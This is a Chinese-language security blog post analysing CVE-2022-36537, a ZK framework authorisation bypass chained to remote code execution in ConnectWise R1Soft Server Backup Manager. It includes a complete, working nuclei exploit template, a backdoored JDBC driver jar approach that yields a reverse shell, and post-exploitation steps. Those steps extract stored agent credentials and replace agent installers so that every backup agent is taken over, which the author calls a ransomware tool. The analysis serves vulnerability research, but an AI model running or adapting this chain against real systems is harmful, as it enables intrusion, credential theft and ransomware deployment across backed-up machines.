ZK框架权限绕过导致R1Soft RCE并接管Agent

文章首发在tttang https://tttang.com/archive/1833/

环境

http://wiki.r1soft.com/display/ServerBackup/Install+Server+Backup+Manager+on+Debian+and+Ubuntu.html

下载 http://repo.r1soft.com/6.16.3/75/trials/R1soft-ServerBackup-Manager-SE-linux64.zip

http://repo.r1soft.com/6.16.3/75/r1soft-getmodule-1.0.0-101_amd64.deb

把deb放到同一个目录,然后 dpkg -i *.deb

1
2
3
serverbackup-setup --user admin --pass r1soft
serverbackup-setup --http-port 8080 --https-port 8443
systemctl restart sbm-server.service

http://172.16.9.145:8080/login.zul

调试java需要编辑/usr/sbin/r1soft/conf/server.conf加一行

1
additional.23=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

分析

这个漏洞分为两个部分

  1. ZK framework的一个权限绕过漏洞ZK-5150
  2. 上传jar包rce

先来看第一个洞

https://tracker.zkoss.org/browse/ZK-5150

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/1.png

根据漏洞描述来看,/zkau/upload路由对应的AuUploader中可以通过nextURI进行forward转发操作。这个forward可能被用来绕过权限认证,或者泄露web.xml等敏感文件。

看一下GitHub的代码

https://github.com/zkoss/zk/blob/v9.6.1/zk/src/org/zkoss/zk/au/http/AuUploader.java#LL217C3-L217C3

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/2.png

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
public void service(HttpServletRequest request, HttpServletResponse response, String pathInfo)
			throws ServletException, IOException {
		final Session sess = Sessions.getCurrent(false);
		if (sess == null) {
			response.setIntHeader("ZK-Error", HttpServletResponse.SC_GONE);
			return;
		}

		final Map<String, String> attrs = new HashMap<String, String>();
		String alert = null, uuid = null, nextURI = null, sid = null;
		Desktop desktop = null;
		try {
			if (!isMultipartContent(request)) {
				if ("uploadInfo".equals(request.getParameter("cmd"))) {
					// refix ZK-2056: should escape both XML and Javascript
					uuid = escapeParam(request.getParameter("wid"));
					sid = escapeParam(request.getParameter("sid"));
					desktop = ((WebAppCtrl) sess.getWebApp()).getDesktopCache(sess)
							.getDesktop(XMLs.encodeText(request.getParameter("dtid")));

					Map<String, Integer> percent = cast((Map) desktop.getAttribute(Attributes.UPLOAD_PERCENT));
					Map<String, Object> size = cast((Map) desktop.getAttribute(Attributes.UPLOAD_SIZE));

					// ZK-2329
					if (percent == null || size == null) {
						response.getWriter().write("ignore");
						return;
					}

					final String key = uuid + '_' + sid;
					Object sinfo = size.get(key);
					if (sinfo instanceof String) {
						response.getWriter().write("error:" + sinfo);
						size.remove(key);
						percent.remove(key);
						return;
					}
					final Integer p = percent.get(key);
					final Long cb = (Long) sinfo;
					response.getWriter()
							.write((p != null ? p.intValue() : -1) + "," + (cb != null ? cb.longValue() : -1));
					return;
				} else
					alert = generateAlertMessage(ILLEGAL_UPLOAD, "enctype must be multipart/form-data");
			} else {
				// refix ZK-2056: should escape both XML and Javascript
				uuid = escapeParam(request.getParameter("uuid"));
				sid = escapeParam(request.getParameter("sid"));

				if (uuid == null || uuid.length() == 0) {
					alert = generateAlertMessage(MISSING_REQUIRED_COMPONENT, "uuid is required!");
				} else {
					attrs.put("uuid", uuid);
					attrs.put("sid", sid);

					// refix ZK-2056: should escape both XML and Javascript
					final String dtid = escapeParam(request.getParameter("dtid"));
					if (dtid == null || dtid.length() == 0) {
						alert = generateAlertMessage(MISSING_REQUIRED_COMPONENT, "dtid is required!");
					} else {
						desktop = ((WebAppCtrl) sess.getWebApp()).getDesktopCache(sess).getDesktop(dtid);
						final Map<String, Object> params = parseRequest(request, desktop, uuid + '_' + sid);
						nextURI = (String) params.get("nextURI");

						processItems(desktop, params, attrs);
					}
				}
			}
		} catch (Throwable ex) {
			if (uuid == null) {
				uuid = request.getParameter("uuid");
				if (uuid != null)
					attrs.put("uuid", uuid);
			}
			if (nextURI == null)
				nextURI = request.getParameter("nextURI");

			if (ex instanceof ComponentNotFoundException) {
				alert = generateAlertMessage(MISSING_REQUIRED_COMPONENT, Messages.get(MZk.UPDATE_OBSOLETE_PAGE, uuid));
			} else {
				alert = handleError(ex);
			}

			if (desktop != null) {
				Map<String, Integer> percent = cast((Map) desktop.getAttribute(Attributes.UPLOAD_PERCENT));
				Map<String, Object> size = cast((Map) desktop.getAttribute(Attributes.UPLOAD_SIZE));
				final String key = uuid + '_' + sid;
				if (percent != null) {
					percent.remove(key);
					size.remove(key);
				}
			}
		}
		if (attrs.get("contentId") == null && alert == null)
			//B65-ZK-1724: display more meaningful errormessage
			alert = generateAlertMessage(MISSING_REQUIRED_COMPONENT, "Upload Aborted : (contentId is required)");

		if (alert != null) {
			if (desktop == null) {
				response.setIntHeader("ZK-Error", HttpServletResponse.SC_GONE);
				return;
			}
			Map<String, Integer> percent = cast((Map) desktop.getAttribute(Attributes.UPLOAD_PERCENT));
			Map<String, Object> size = cast((Map) desktop.getAttribute(Attributes.UPLOAD_SIZE));
			final String key = uuid + '_' + sid;
			if (percent != null) {
				percent.remove(key);
				size.put(key, alert);
			}
		}
		if (log.isTraceEnabled())
			log.trace(Objects.toString(attrs));

		if (nextURI == null || nextURI.length() == 0)
			nextURI = "~./zul/html/fileupload-done.html.dsp";
		Servlets.forward(_ctx, request, response, nextURI, attrs, Servlets.PASS_THRU_ATTR);
	}

nextURI可以从request中接收,由Servlets.forward(_ctx, request, response, nextURI, attrs, Servlets.PASS_THRU_ATTR);转发过去

想要给nextURI赋值,必须满足!isMultipartContent(request)==true这个条件

1
2
3
    public static final boolean isMultipartContent(HttpServletRequest request) {
        return "post".equals(request.getMethod().toLowerCase(Locale.ENGLISH)) && FileUploadBase.isMultipartContent(new ServletRequestContext(request));
    }

很明显,就是需要Multipart发包传参数。

然后在下面这个地方有坑,这个放到后面说。

1
desktop = ((WebAppCtrl)sess.getWebApp()).getDesktopCache(sess).getDesktop(dtid);

parseRequest函数,将请求体Multipart解析出来,放入一个map中

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/3.png

然后nextURI = (String)size.get("nextURI");拿到nextURI,最后通过Servlets.forward转发nextURI的请求。

我们以http://172.16.9.145:8080/Configuration/server-info.zul为例,测试一下通过nextURI转发绕过权限认证,这个页面是需要登陆才能访问的。

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/4.png

没有权限访问,所以跳转到login

接下来使用nextURI转发

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/5.png

没成功,断点调试一下

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/6.png

发现在desktop = ((WebAppCtrl)sess.getWebApp()).getDesktopCache(sess).getDesktop(dtid);这个地方取不到dtid为dd的Desktop对象。

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/7.png

getDesktopCache中缓存为空值,这个东西不知道从哪进行给他添加缓存,然后我开了bp抓包,观察dtid的参数值及其引用的地方发现,dtid对应的应该是一个页面的缓存标识。

比如我访问/login.zul,赋予一个session

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/8.png

并且此时页面的给了一个dt值

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/9.png

我们加上session并且将这个dt给上

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/10.png

可见确实绕过了权限认证,并且拿到了一些敏感信息,比如服务器:PublicKey、serverBuildDate

此时调试来看dtid对应的就是login.zul页面

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/11.png

好了,到此为止,我们绕过了权限认证,捋一下利用步骤

  1. 访问首页,拿到dtid和JSESSIONID
  2. 通过/zkau/upload的nextURI转发请求
  3. 受限于Multipart要求,只能转发POST请求。

所以需要找到POST请求的可以RCE的点。

huntress的文章中已经写了

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/12.png

代码在com.r1soft.backup.server.web.configuration.DatabaseDriversWindow#onUpload

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/13.png

跟进com.r1soft.backup.server.facade.DatabaseFacade#uploadMySQLDriver

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/14.png

先判断MySQLUtil.hasMySQLDriverClass(var5),然后将jar包调用ClassPathUtil.addFile(var5);加入到classpath。

hasMySQLDriverClass判断你的jar包是否有org.gjt.mm.mysql.Driver这个类

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/15.png

调用URLClassLoader

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/16.png

然后testMySQLDatabaseDriver测试驱动

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
    public Boolean testMySQLDatabaseDriver() {
        return MySQLDatabaseConnection.driverTest();
    }


    public static boolean driverTest() {
        try {
            Class.forName("org.gjt.mm.mysql.Driver");
            return true;
        } catch (ClassNotFoundException var1) {
            return false;
        }
    }

所以我们可以传jar包,内置一个org.gjt.mm.mysql.Driver类,并且写上static代码块来执行自定义代码。

rce的整个过程捋通了,那么就是痛苦的构造exp的时候,怎么痛苦往下看就知道了。

先来一个数据库jar包,直接抄 https://github.com/airman604/jdbc-backdoor 的,改下类名即可,编译的时候一定要兼容低版本jdk,因为默认是jdk7的,用8编译出来的class会报错。

1
javac -source 1.6 -target 1.6  org/gjt/mm/mysql/Driver.java

接下来构造请求包,我先把我的exp贴出来,nuclei模版

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
id: R1Soft

info:
  name: ConnectWise R1Soft Authentication Bypass RCE
  author: Y4er
  severity: critical
  description: |
        The ZK framework disclosed a permission bypass vulnerability, and R1Soft used the ZK framework, resulting in a permission bypass, and remote code execution can be performed by uploading the database driver.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-36537
    - https://www.connectwise.com/company/trust/security-bulletins/r1soft-and-recover-security-bulletin
  tags: cve2022,zk,ConnectWise,R1Soft,RCE

variables:
  uuid: '{{to_lower(rand_base(5))}}'

requests:
  - raw:
      - |
        GET /login.zul HTTP/1.1
        Host: {{Hostname}}
        Connection: close        


      - |
        POST /zkau/upload?uuid={{uuid}}&sid=0&dtid={{logindtid}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1PqbBueTuhKJdCD1
        Connection: close

        ------WebKitFormBoundary1PqbBueTuhKJdCD1
        Content-Disposition: form-data; name="nextURI";

        /Configuration/database-drivers.zul
        ------WebKitFormBoundary1PqbBueTuhKJdCD1--        

      - |
        POST /zkau/upload?uuid={{uuid}}&sid=0&dtid={{logindtid}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1PqbBueTuhKJdCD1
        Connection: close

        ------WebKitFormBoundary1PqbBueTuhKJdCD1
        Content-Disposition: form-data; name="nextURI";

        /zkau?dtid={{databasedtid}}&cmd_0=onClick&uuid_0={{mysqlDriverUploadButtonid}}&data_0=%7B%22pageX%22%3A315%2C%22pageY%22%3A120%2C%22which%22%3A1%2C%22x%22%3A39%2C%22y%22%3A23%7D
        ------WebKitFormBoundary1PqbBueTuhKJdCD1--        

      - |
        POST /zkau/upload?uuid={{Fileuploadid}}&dtid={{databasedtid}}&sid=0&maxsize=-1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1PqbBueTuhKJdCD1
        Connection: close

        ------WebKitFormBoundary1PqbBueTuhKJdCD1
        Content-Disposition: form-data; name="file"; filename="{{randstr}}.jar"
        Content-Type: application/java-archive

        {{base64_decode('jar包base64编码')}}
        ------WebKitFormBoundary1PqbBueTuhKJdCD1--        

      - |
        POST /zkau/upload?uuid={{uuid}}&sid=0&dtid={{logindtid}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1PqbBueTuhKJdCD1
        Connection: close

        ------WebKitFormBoundary1PqbBueTuhKJdCD1
        Content-Disposition: form-data; name="nextURI";

        /zkau?dtid={{databasedtid}}&cmd_0=onMove&opt_0=i&uuid_0={{FileuploadDlgid}}&data_0=%7B%22left%22%3A%22716px%22%2C%22top%22%3A%22100px%22%7D&cmd_1=onZIndex&opt_1=i&uuid_1={{FileuploadDlgid}}&data_1=%7B%22%22%3A1800%7D&cmd_2=updateResult&data_2=%7B%22contentId%22%3A%22z__ul_0%22%2C%22wid%22%3A%22{{Fileuploadid}}%22%2C%22sid%22%3A%220%22%7D
        ------WebKitFormBoundary1PqbBueTuhKJdCD1--        

      - |
        POST /zkau/upload?uuid={{uuid}}&sid=0&dtid={{logindtid}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1PqbBueTuhKJdCD1
        Connection: close

        ------WebKitFormBoundary1PqbBueTuhKJdCD1
        Content-Disposition: form-data; name="nextURI";

        /zkau?dtid={{databasedtid}}&cmd_0=onClose&uuid_0={{FileuploadDlgid}}&data_0=%7B%22%22%3Atrue%7D
        ------WebKitFormBoundary1PqbBueTuhKJdCD1--        

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "The file does not contain the MySQL JDBC database driver"
          - "The MySQL database driver was uploaded successfully"
        part: body

    extractors:
      - type: regex
        name: logindtid
        internal: true
        group: 1
        regex:
          - "dt:'(.*?)',cu:'',uu:'\\\\x2Fzkau',ru:'\\\\x2Flogin.zul'"
      - type: regex
        name: databasedtid
        internal: true
        group: 1
        regex:
          - "dt:'(.*?)',cu:'',uu:'\\\\x2Fzkau',ru:'\\\\x2FConfiguration\\\\x2Fdatabase\\\\x2Ddrivers.zul"
      - type: regex
        name: mysqlDriverUploadButtonid
        internal: true
        group: 1
        regex:
          - "'zul.wgt.Button','(.*)',{id:'mysqlDriverUploadButton'"
      - type: regex
        name: FileuploadDlgid
        internal: true
        group: 1
        regex:
          - "zul.fud.FileuploadDlg','(.*)',"
      - type: regex
        name: Fileuploadid
        internal: true
        group: 1
        regex:
          - "'zul.wgt.Fileupload','(.*?)',"

反弹shell成功

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/17.png

上传的jar包在/usr/sbin/r1soft/conf/database-drivers/mysql-connector.jar,只能打一次,因为static只会被加载一次。

编写exp只需要把正常的上传包用nextURI转发下,好像有4、5个请求包,模拟一下就行了。

看我的exp可见需要几个参数logindtid、databasedtid、mysqlDriverUploadButtonid、FileuploadDlgid、Fileuploadid,用nuclei提取出来即可,除了有点恶心人以外没啥技术含量。

杂记

在使用nextURI触发/Configuration/database-drivers.zul拿dtid时,一直没找到这个zul应该怎么访问,我登陆进去访问抓的请求包一直都是直接POST的/zkau,然后在看com.r1soft.backup.server.web.configuration.LDAPAuthenticationWindow的时候发现了

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/18.png

放浏览器里发现可以直接打开,然后就按规律DatabaseDriversWindow对应/Configuration/database-drivers.zul,由此才拿到关键的database dtid

写文章的时候思来想去觉得这种上传jar包的方式不优雅,一个不小心jar包就把系统整炸了,而且收到Class.forName的影响,只能打一次,所以尝试找了一下其他方式

com.r1soft.backup.server.web.configuration.LDAPTestConnectionWindow#testConnection

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/19.png

有ldap操作

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/20.png

不过没有调用lookup,自己用unboundid库实现了一个ldap server,lookup会触发processSearchResult,而new InitialDirContext(var9)只会触发processSimpleBindRequest、processSimpleBindResult,processSimpleBindResult中好像没有办法返回这些属性

1
2
3
4
5
Entry e = new Entry(baseDN);
e.addAttribute("javaClassName", clazzName);
e.addAttribute("javaCodeBase", Config.codebase);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", clazzName);

所以好像利用不了,如果有对ldap熟悉的师傅希望可以指点一下。

后利用

huntress的文章中演示了一个脚本直接勒索所有agent,我看了下有几种方式。

  1. 数据库中存储了agent的账号密码,打了r1soft server之后直接smb过去
  2. 替换agent文件

数据库文件在/usr/sbin/r1soft/data/h2/r1backup.h2.db

没找到密码在哪配置的,看日志配了c3p0库,所以直接断点断到com.mchange.v2.c3p0.impl.NewProxyConnection#NewProxyConnection(java.sql.Connection)

向上回溯到org.hibernate.engine.jdbc.internal.LogicalConnectionImpl#getConnection拿到数据库明文密码

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/21.png

select MAPKEY,DATA from TASKEXECUTIONCONTEXTDATA where MAPKEY like 'agent%'表中发现账号密码

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/22.png

1
2
3
agentUser 0xACED000574000D61646D696E6973747261746F72
agentHost 0xACED000574000C3137322E31362E392E313436
agentPass 0xACED000574000A61646D696E3136214023

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/23.png

agent的明文密码就有了

另一种方式是直接替换掉服务端的agent文件。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
[email protected]:/usr/sbin/r1soft# ls Deployment/Agent/
r1soft-getmodule-amd64.deb        serverbackup-agent-i386.rpm              serverbackup-enterprise-agent-amd64.deb       serverbackup-setup-i386.deb.asc
r1soft-getmodule-amd64.deb.asc    serverbackup-agent-i386.rpm.asc          serverbackup-enterprise-agent-amd64.deb.asc   serverbackup-setup-i386.rpm
r1soft-getmodule-i386.deb         serverbackup-agent-x86_64.rpm            serverbackup-enterprise-agent-i386.deb        serverbackup-setup-i386.rpm.asc
r1soft-getmodule-i386.deb.asc     serverbackup-agent-x86_64.rpm.asc        serverbackup-enterprise-agent-i386.deb.asc    serverbackup-setup-x86_64.rpm
r1soft-getmodule-i386.rpm         serverbackup-async-agent-amd64.deb       serverbackup-enterprise-agent-i386.rpm        serverbackup-setup-x86_64.rpm.asc
r1soft-getmodule-i386.rpm.asc     serverbackup-async-agent-amd64.deb.asc   serverbackup-enterprise-agent-i386.rpm.asc    ServerBackup-Windows-Agent-x64.msi
r1soft-getmodule-x86_64.rpm       serverbackup-async-agent-i386.deb        serverbackup-enterprise-agent-x86_64.rpm      ServerBackup-Windows-Agent-x64.msi.asc
r1soft-getmodule-x86_64.rpm.asc   serverbackup-async-agent-i386.deb.asc    serverbackup-enterprise-agent-x86_64.rpm.asc  ServerBackup-Windows-Agent-x86.msi
serverbackup-agent-amd64.deb      serverbackup-async-agent-i386.rpm        ServerBackup-Service.exe                      ServerBackup-Windows-Agent-x86.msi.asc
serverbackup-agent-amd64.deb.asc  serverbackup-async-agent-i386.rpm.asc    serverbackup-setup-amd64.deb
serverbackup-agent-i386.deb       serverbackup-async-agent-x86_64.rpm      serverbackup-setup-amd64.deb.asc
serverbackup-agent-i386.deb.asc   serverbackup-async-agent-x86_64.rpm.asc  serverbackup-setup-i386.deb

当添加完需要备份的机器,然后部署agent时,点击“Deploy Agent Software”

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/24.png

弹出下图

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/25.png

当账号密码正确时,我们应该考虑他是怎么部署agent到目标机器上的,跟代码看一下。当点击提交时,会向任务队列中放一个RemoteAgentDeploymentTask实例来异步安装agent

该实例真正安装agent的函数处理在

com.r1soft.backup.server.worker.RemoteAgentDeploymentWorker#processWindowsDeployment

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/26.png

关键的点就图中圈起来的5个步骤

第一,尝试连接远程rpc服务

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/27.png

第二,初始化IPC共享临时目录

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/28.png

第三,通过smb把agent安装文件写入ipc

1
2
3
4
5
    public void transferBinary() throws DeploymentException, InterruptedException {
        this.transferBinary(WINDOWS_SERVICE_BINARY_PATH);
        this.transferBinary(WINDOWS_32BIT_INSTALLER_PATH);
        this.transferBinary(WINDOWS_64BIT_INSTALLER_PATH);
    }

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/29.png

第四,传输公钥和部署key

1
2
3
    public void transferKey() throws DeploymentException, InterruptedException {
        this.transferBinary(PUBLIC_KEY_PATH, this.deploymentKey);
    }

第五,远程创建并启动ServerBackupAgentDeployment服务

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/30.png

该服务就是执行ipc共享中传过来的安装包

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/31.png

很明显了。

那么在实际利用中,我们没有agent的账号密码,应该怎么用呢?

实际目标应该是已经配好了agent,会增加一个“Update Agent Software”的选项

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/32.png

这个不需要输入密码,可以直接替换安装包ServerBackup-Windows-Agent-x64.msi或者wsbausx64.exe,即可rce agent。

不过有个小坑,我们跟一下来看

agent update的操作在com.r1soft.backup.server.task.AgentUpdateTask#run

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/33.png

windows系统会进入com.r1soft.backup.server.task.AgentUpdateWindows#run

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/34.png

这里会比较agent版本号,获取server上的版本号是通过读文件的形式

com.r1soft.backup.server.facade.AgentFacade#getAgentInstallerInfo

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/35.png

所以修改/usr/sbin/r1soft/bin/scripts/WindowsAgentInstallerVersion文件为一个大的版本号,这样就会重新安装agent了。

接着先通过restoreFiles传输安装包

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/36.png

然后执行下面两条命令

1
2
3
4
cmd.exe /c del C:\Windows\Temp\wsbaus*
cmd.exe /c C:\Windows\Temp\2ade228f-c92e-49c2-8b63-fd4bfdc9040f_wsbausx64.exe install
cmd.exe /c echo {"ServiceCtrlTimeout":300,"AgentService":"cdp","MsiPackage":"2ade228f-c92e-49c2-8b63-fd4bfdc9040f_ServerBackup-Windows-Agent-x64.msi"} > C:\Windows\Temp\wsbaus.config
net start wsbaus

wsbausx64.exe install安装服务,然后wsbaus服务会启动2ade228f-c92e-49c2-8b63-fd4bfdc9040f_ServerBackup-Windows-Agent-x64.msi

https://y4er.com/img/uploads/zk-framework-auth-bypass-case-r1soft-rce/37.png

所以替换安装包,或者替换wsbaus服务都可以控制agent。

总结

这篇文章从ZK权限绕过,使用nextURI转发绕过权限认证,然后用mysql drivers jar包来rce r1soft server端,然后通过下发更新包的形式控制agent,勒索神器。洋洋洒洒写了这么多字,希望对读者有所帮助。

参考

  1. https://www.huntress.com/blog/critical-vulnerability-disclosure-connectwise/r1soft-server-backup-manager-remote-code-execution-supply-chain-risks
  2. https://tracker.zkoss.org/browse/ZK-5150
  3. http://repo.r1soft.com/
  4. https://www.connectwise.com/company/trust/security-bulletins/r1soft-and-recover-security-bulletin

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。